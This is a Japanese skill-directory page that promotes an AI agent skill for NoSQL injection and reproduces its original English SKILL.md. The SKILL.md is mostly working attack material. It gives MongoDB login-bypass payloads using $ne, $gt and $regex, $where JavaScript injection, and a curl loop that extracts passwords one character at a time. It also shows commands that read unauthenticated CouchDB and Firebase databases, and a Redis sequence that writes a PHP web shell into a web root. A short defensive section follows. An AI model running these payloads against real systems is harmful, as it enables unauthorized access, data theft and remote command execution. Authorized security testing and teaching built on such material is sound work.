本文へスキップ
Skillpedia
セキュリティ6.5k · #14072

nosqli

できること

このスキルは、利用者の入力がクエリの一部になった場合に、MongoDBなどのNoSQLデータベースが悪用される仕組みを説明します。ログインや検索機能を確認するセキュリティテスター向けです。

使う場面

  • ✓ログインや検索がMongoDBなどのデータベースを使い、JSON入力を受け付けているとき。
  • ✓スキャンで、認証なしで読み取れる可能性のあるデータベースが見つかったとき。
  • ✓演算子を使った入力で、パスワード確認を回避できるか確かめたいとき。

スキルのリンク

https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/nosqli/SKILL.md

コピーしてAI(Claude、ChatGPT、Cursor)に貼り付け、指示に従うよう頼んでください。

使い方

いちばん簡単な方法:メッセージをコピーしてAIに貼り付けるだけ。AIがスキルを読んで指示に従います。

貼り付け用メッセージ

このスキルを使って手伝ってください:https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/nosqli/SKILL.md このリンクのSKILL.mdファイルを読んで、私の作業でその指示に従ってください。
こういうスキルを、AIが自分で見つけてくれたら?無料のSkillpedia MCPをインストール。1行で、作業の前に15,000+のスキルから探してくれます。1分でインストール →

AIへの頼み方の例

“私のアプリのログインが、パスワードの代わりに特殊なクエリ演算子を受け付けないか確認してください。”

毎週5つの新しいスキル。1分で読めます。

仕組み

エージェントは、単純な値の代わりに、not-equalや正規表現などの演算子を含むJSONを送ります。そして、クエリが変えられたことを示すように応答が変化するかを確認します。

技術的な内容(元のSKILL.md)

作者による元のテキスト(英語)をGitHubからそのまま表示しています。

NoSQL Injection

NoSQL stores parse JSON / native objects. When user input becomes part of a query object (not just a value), control flows into the query.

1. MongoDB — most common target

Auth bypass

// Vulnerable: db.users.findOne({user: req.body.user, pass: req.body.pass})
POST /login
{"user": {"$ne": null}, "pass": {"$ne": null}}      // returns first user
{"user": "admin", "pass": {"$gt": ""}}              // admin if pw exists
{"user": "admin", "pass": {"$regex": "^A"}}         // blind char extraction

Server-side JS injection

{"$where": "this.user == 'admin' && sleep(5000)"}   // time-based
{"$where": "function() { return this.user.length > 0 && this.user.match(/^a/) }"}

$where was deprecated in Mongo 4.4 — still appears in legacy.

Operator extraction (blind)

# Burp Intruder w/ payload list
for char in {a..z}; do
  curl -s -X POST $TARGET/login \
    -d "{\"user\":\"admin\",\"pass\":{\"\$regex\":\"^${char}\"}}" \
    | grep -q "success" && echo "char: $char"
done

2. CouchDB

# Admin party (no auth required)
curl http://target:5984/_all_dbs
curl http://target:5984/_users/_all_docs
# Then read/modify any document

3. Firebase Realtime Database

# Public-read databases (most common misconfig)
curl https://YOUR-FIREBASE-PROJECT.firebaseio.com/.json
# Returns entire DB if rules are "true"

4. Redis

# Unauth Redis (still common on internal nets, occasionally exposed)
redis-cli -h target -p 6379 INFO
# Module loading attack if running as root + module dir writable
redis-cli -h target FLUSHALL
redis-cli -h target SET dir /var/www/html
redis-cli -h target SET dbfilename shell.php
redis-cli -h target SET payload "<?php system($_GET['c']); ?>"
redis-cli -h target SAVE

5. Tools

  • NoSQLMap — automated mongo injection (nosqlmap.py)
  • mongoaudit — config scanner
  • Burp Intruder w/ payloads/NoSQL Injection/ as wordlist
  • fuzzdb — has NoSQL payload variants

6. PoC

# Mongo auth bypass via curl
curl -s -X POST $TARGET/api/login \
  -H "Content-Type: application/json" \
  -d '{"username": {"$ne": null}, "password": {"$ne": null}}' \
  | jq

# If logged-in-as-admin → critical

7. Severity

Bug Severity
Auth bypass via $ne Critical 9.8
Blind char extraction of all user data Critical 9.0
$where JS injection → RCE-adjacent (mongo runs the JS) Critical 9.8
Public CouchDB / Firebase Critical (depends on data sensitivity)
Unauth Redis on internal net High 7-8

8. Defender

// Sanitize/typecheck before query
if (typeof req.body.user !== 'string') return res.status(400).send();
if (typeof req.body.pass !== 'string') return res.status(400).send();

// Or use parameterized queries / Mongo ODM (Mongoose schemas)
User.findOne({user: req.body.user}).select('+password');

// Disable $where globally
mongoose.set('strictQuery', true);

Cross-references

  • Upstream catalog: skills/_corpus/payloads/NoSQL Injection/
  • SQLi (different attack class, similar mindset): skills/exploit/web/sqli.md
よくある質問

どのデータベースが対象ですか?

MongoDBを中心に、CouchDB、Firebase Realtime Database、Redisのパターンも扱います。

結果が見えなくてもデータを取り出せますか?

はい。1文字ずつ確認して取り出すブラインド抽出の方法も説明しています。

サーバー側のJavaScriptも扱いますか?

はい。古いMongoDBでJavaScriptを実行できる$where演算子についても触れています。

詳細

作者による元の説明

NoSQL injection — MongoDB operator injection ($ne, $gt, $where, $regex), CouchDB / Firebase / Redis attack patterns, auth bypass, blind extraction.

repo: BitterSecurity/Decepticon

人気

GitHubのスター
6.5k
ランキング
#14072
ライセンス
Apache-2.0
更新日
2026/11/1

このスキルは役に立ちますか?

0

ログイン して投票しましょう。

コメント

  • …

このリポジトリの他のスキル

似ているスキル